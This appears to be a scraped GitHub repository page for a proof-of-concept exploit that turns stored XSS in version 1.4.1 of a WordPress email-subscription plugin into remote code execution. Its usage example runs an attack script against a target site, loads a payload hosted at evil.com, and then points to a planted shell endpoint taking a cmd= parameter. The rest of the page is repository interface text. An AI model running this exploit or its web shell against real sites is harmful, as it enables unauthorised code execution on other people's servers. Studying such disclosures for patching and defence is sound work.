Example:
$ python stage.py --url http://target-wordpress-site.com -e http://evil.com/exploit.js -n name -a exploit@gmail.com
Then you can target http://target-wordpress-site.com/wp-content/plugins/email-suscripcion/emailing-lista.php?cmd=
-
Notifications
You must be signed in to change notification settings - Fork 0
RCE PoC through stored XSS for emailing subscription wp plugin. This PoC was tested against version 1.4.1 of the plugin. Plugin: https://wordpress.org/plugins/email-suscripcion/
bjh7242/wp-emailing-subscription-rce-poc
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
About
RCE PoC through stored XSS for emailing subscription wp plugin. This PoC was tested against version 1.4.1 of the plugin. Plugin: https://wordpress.org/plugins/email-suscripcion/
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published